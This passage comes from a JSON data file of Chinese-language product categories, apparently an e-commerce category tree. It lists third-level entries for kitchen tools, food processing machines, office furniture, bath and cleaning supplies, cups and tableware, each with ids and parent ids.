industry_status":0,"extra":null,"is_get_child":false},{"id":24906,"name":"打蛋机/洗蛋机/磕蛋机","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24912,"name":"豆制品加工设备","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24908,"name":"果蔬加工设备","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24902,"name":"解冻机","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24905,"name":"开水器/开水炉","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24909,"name":"米面加工设备","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24904,"name":"奶油机/鲜奶机","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24911,"name":"肉制品加工设备","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24907,"name":"食品搅拌机","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24901,"name":"脱油机","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24913,"name":"休闲食品加工设备","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24910,"name":"饮料加工设备","parent_cid":20581,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25051,"name":"按压式饮水器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25042,"name":"包饺子器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25035,"name":"剥蒜器/压蒜器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25036,"name":"厨房秤/计量秤","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25049,"name":"厨房储物架/厨房置物架","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25048,"name":"厨房点火器/点火棒","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25053,"name":"厨房电器配套用品","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25052,"name":"厨房小工具套装","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25045,"name":"储物瓶罐/厨房储物器皿","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25041,"name":"定时器/计时器/提醒器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25025,"name":"DIY模具","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25050,"name":"多功能切菜器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25029,"name":"封口机","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25028,"name":"封口夹","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25033,"name":"核桃夹","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25031,"name":"搅拌棒","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25039,"name":"绞肉机/碎肉宝","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25044,"name":"鸡蛋加工","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25037,"name":"开橙器/剥橙器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25038,"name":"滤水器/净水器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25040,"name":"面条机/压面机","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25034,"name":"磨刀器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25032,"name":"敲肉锤","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25030,"name":"揉面袋","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25046,"name":"手动榨汁器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25027,"name":"寿司DIY用具","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25047,"name":"水果分割器","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25043,"name":"旋盖小宝","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25026,"name":"其它","parent_cid":20667,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24993,"name":"刀具","parent_cid":20656,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":24994,"name":"锅具/煲/烧水壶","parent_cid":20656,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24996,"name":"火锅炉","parent_cid":20656,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25014,"name":"烹饪工具套装","parent_cid":20656,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25005,"name":"烹饪勺铲","parent_cid":20656,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25010,"name":"小型燃气灶","parent_cid":20656,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24995,"name":"砧板/菜板","parent_cid":20656,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24992,"name":"其它","parent_cid":20656,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24990,"name":"烘培DIY器具","parent_cid":20650,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24991,"name":"烧烤架炉/烧烤DIY用具","parent_cid":20650,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25006,"name":"办公柜类","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24998,"name":"办公椅","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24997,"name":"办公桌","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25000,"name":"报刊架","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25016,"name":"成套办公家具","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":24999,"name":"大板桌","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25015,"name":"公共休闲系列","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25008,"name":"会客沙发/茶几","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25001,"name":"接待台","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25007,"name":"屏风隔断","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25002,"name":"钥匙箱","parent_cid":20658,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25023,"name":"公共卫生服务设施","parent_cid":20659,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25022,"name":"公共休闲服务设施","parent_cid":20659,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25017,"name":"交通服务设施","parent_cid":20659,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25024,"name":"美化丰富空间设施","parent_cid":20659,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25018,"name":"信息服务设施","parent_cid":20659,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28042,"name":"车用水桶","parent_cid":34448,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27960,"name":"车载折叠马桶","parent_cid":34448,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27976,"name":"地胶","parent_cid":34448,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27993,"name":"防雾湿巾","parent_cid":34448,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28058,"name":"汽车玻璃防雾剂/驱水剂","parent_cid":34448,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28054,"name":"汽车清洁软胶","parent_cid":34448,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":28055,"name":"汽车清洗手套","parent_cid":34448,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25644,"name":"清洗剂","parent_cid":34448,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":25168,"name":"搓脚板/洗脚刷/磨脚石","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25150,"name":"耳勺","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25159,"name":"干发帽","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25153,"name":"棉签/棉棒/棉包","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25179,"name":"沐浴按摩用品","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25161,"name":"沐浴球","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25158,"name":"呕吐袋","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25154,"name":"梳子/便携用镜","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25162,"name":"洗漱包","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25148,"name":"浴擦","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25147,"name":"浴帽","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25146,"name":"浴刷","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25166,"name":"指甲刀/指甲钳","parent_cid":20677,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25119,"name":"百洁布","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25112,"name":"簸箕","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25142,"name":"玻璃清洁器及配件","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25128,"name":"擦地拖鞋","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25121,"name":"除尘掸/掸头","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25133,"name":"厨房擦手巾","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25120,"name":"钢丝球","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25132,"name":"刮刮乐拖把","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25118,"name":"海绵擦","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25130,"name":"胶棉拖把","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25125,"name":"家务手套","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25137,"name":"静电除尘纸","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25136,"name":"空调过滤膜","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25117,"name":"垃圾袋","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25116,"name":"垃圾夹","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25122,"name":"垃圾桶/垃圾架","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25113,"name":"脸盆","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25109,"name":"抹布","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25123,"name":"喷水拖把","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25126,"name":"平板拖把","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25139,"name":"扫把及扫把头","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25107,"name":"刷子","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25135,"name":"水槽过滤网","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25134,"name":"水槽沥水袋","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25111,"name":"水桶","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25110,"name":"水拖","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25127,"name":"拖把配件","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25138,"name":"微波炉清洁器","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25108,"name":"围裙","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25124,"name":"围裙套装","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25114,"name":"袖套","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25129,"name":"旋转拖把","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25131,"name":"一次性抹布","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25141,"name":"油烟机过滤膜","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25140,"name":"桌面清洁套装","parent_cid":20676,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25068,"name":"杯架","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25076,"name":"便携淋蓬头","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25103,"name":"吹风机置物架","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25100,"name":"厨卫防水贴/条","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25078,"name":"打泡器","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25096,"name":"地漏防臭器","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25106,"name":"非便携式用镜","parent_cid":20675,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":25097,"name":"管道清洁棒","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25098,"name":"管道疏通器","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25089,"name":"过滤器/净水器","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25092,"name":"挤牙膏器","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25084,"name":"卷纸器/纸巾架","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25085,"name":"毛巾挂/毛巾架","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25090,"name":"马桶刷/厕所刷","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25091,"name":"马桶套/马桶座圈","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25099,"name":"马桶置物架","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25086,"name":"沐浴桶/沐浴盆","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25079,"name":"泡脚袋","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25082,"name":"起泡网","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25083,"name":"人体秤/体重秤","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25077,"name":"乳液器","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25069,"name":"水塞","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25072,"name":"痰盂","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25095,"name":"卫生间踏板","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25101,"name":"下水道垃圾夹","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25102,"name":"下水道密封圈","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25080,"name":"洗漱杯","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25087,"name":"牙刷架/牙具座","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25070,"name":"浴帘","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25081,"name":"浴帘杆","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25093,"name":"浴帘配件","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25094,"name":"浴室角架/置物架","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25105,"name":"浴室用品配件","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25104,"name":"浴室用品套件","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25071,"name":"浴罩","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25073,"name":"皂盒","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25075,"name":"皂网/架","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25074,"name":"粘钩","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25088,"name":"足浴盆/足浴桶","parent_cid":20675,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25504,"name":"保温袋","parent_cid":20766,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25506,"name":"保鲜盖","parent_cid":20766,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25505,"name":"保鲜盒","parent_cid":20766,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25408,"name":"保温杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25407,"name":"保温壶","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25395,"name":"杯垫","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25396,"name":"杯套","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25436,"name":"杯子套装/情侣对杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25416,"name":"玻璃杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25406,"name":"定制/广告杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25427,"name":"防漏杯/密封杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25430,"name":"防漏杯盖","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25418,"name":"隔热杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34366,"name":"户外烧水壶","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34368,"name":"户外水杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25409,"name":"冷水壶","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25419,"name":"马克杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25431,"name":"马克杯盖","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25405,"name":"奶杯/牛奶杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25413,"name":"柠檬杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25415,"name":"热水瓶","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25429,"name":"水具套装","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25414,"name":"水素杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25417,"name":"随手杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25411,"name":"太空杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34367,"name":"文化创意杯子","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":25394,"name":"吸管","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25410,"name":"吸管杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25412,"name":"摇摇杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25426,"name":"运动壶/旅行壶","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25428,"name":"智能水杯","parent_cid":20710,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25368,"name":"便携/折叠餐具","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25363,"name":"餐垫/隔热垫","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25373,"name":"餐具笼/架","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25393,"name":"餐具套装","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25357,"name":"碟","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25383,"name":"定制餐具","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25367,"name":"饭盒/保温桶/保温提锅","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25364,"name":"果盆/果盘/果篮","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25387,"name":"酒店餐具","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25362,"name":"筷子","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25355,"name":"盘","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25386,"name":"配套瓷器","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25354,"name":"盆","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25358,"name":"瓶/罐","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25356,"name":"碗","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25391,"name":"西餐刀/叉/勺","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25371,"name":"蟹八件","parent_cid":20709,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25397,"name":"冰夹","parent_cid":20711,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":25398,"name":"冰桶","parent_cid":20711,"level":3,"enable":1,"is_lea